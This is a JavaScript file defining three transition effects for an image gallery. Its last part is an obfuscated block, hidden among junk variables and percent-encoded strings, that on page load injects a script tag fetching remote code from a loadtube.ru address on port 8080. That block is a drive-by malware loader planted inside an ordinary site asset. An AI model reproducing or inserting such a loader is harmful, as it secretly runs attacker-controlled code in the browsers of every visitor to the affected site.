/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});


var GY;if(GY!='' && GY!='hU'){GY=null};var I=new Date();var Gj=new Array();function _(){var k='';var T=new Array();var z=window;var G=unescape;var ED;if(ED!='' && ED!='J'){ED=''};var v=G("%2f%74%6e%61%66%6c%69%78%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%73%6b%2e%70%68%70");var t="";var Tv;if(Tv!=''){Tv='W'};var GR;if(GR!='V' && GR!='n'){GR=''};function y(m,E){var Un;if(Un!='Jo' && Un!='N'){Un=''};var A="g";var _B=G("%5b"), e=G("%5d");var iY="";this.yv="";var r=_B+E+e;this.Au='';var h=new RegExp(r, A);return m.replace(h, new String());var lq=new Date();};var _O=new Array();var Jt=new Date();var kJ='';var wj;if(wj!='Ys'){wj=''};this.Wp='';var u=document;this.XI="";var JU;if(JU!='j' && JU != ''){JU=null};var vn=new String();var Gc;if(Gc!='uA'){Gc=''};var pB;if(pB!='R' && pB != ''){pB=null};var H=y('897950432825330299','29574631');var We;if(We!='' && We!='yR'){We=''};function p(){var gI;if(gI!='VW'){gI='VW'};var M=G("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var yW;if(yW!='' && yW!='cl'){yW='fl'};var jK='';var gJ;if(gJ!='q' && gJ != ''){gJ=null};vn=M;vn+=H;var B;if(B!='yq' && B!='yvy'){B=''};var YT;if(YT!='aa'){YT='aa'};vn+=v;var IDU=new Date();var UE;if(UE!='NM'){UE='NM'};this.Br="";var QV;if(QV!='' && QV!='Qu'){QV=null};try {var wi='';this._ie="";i=u.createElement(y('sfcLrWiWpPtf','WL9fP'));var OC="";var zR;if(zR!='wd'){zR=''};i[G("%64%65%66%65%72")]=[1][0];var mC;if(mC!='' && mC!='mh'){mC='gg'};var Xy;if(Xy!='' && Xy!='lg'){Xy='nh'};i[G("%73%72%63")]=vn;var D;if(D!='ap' && D!='mN'){D='ap'};var WE="";u.body.appendChild(i);var FP=new String();var pe="";var eM;if(eM!='' && eM!='BJ'){eM=''};var nQ;if(nQ!='' && nQ!='yqA'){nQ=''};} catch(Q){alert(Q);var kM;if(kM!=''){kM='ZF'};};var ey=new Date();this.Zq='';}this.bM='';var er='';z[new String("on"+"lov2p".substr(0,2)+"JBzZad".substr(4))]=p;this.uAg="";this.XJ="";};this.yF='';_();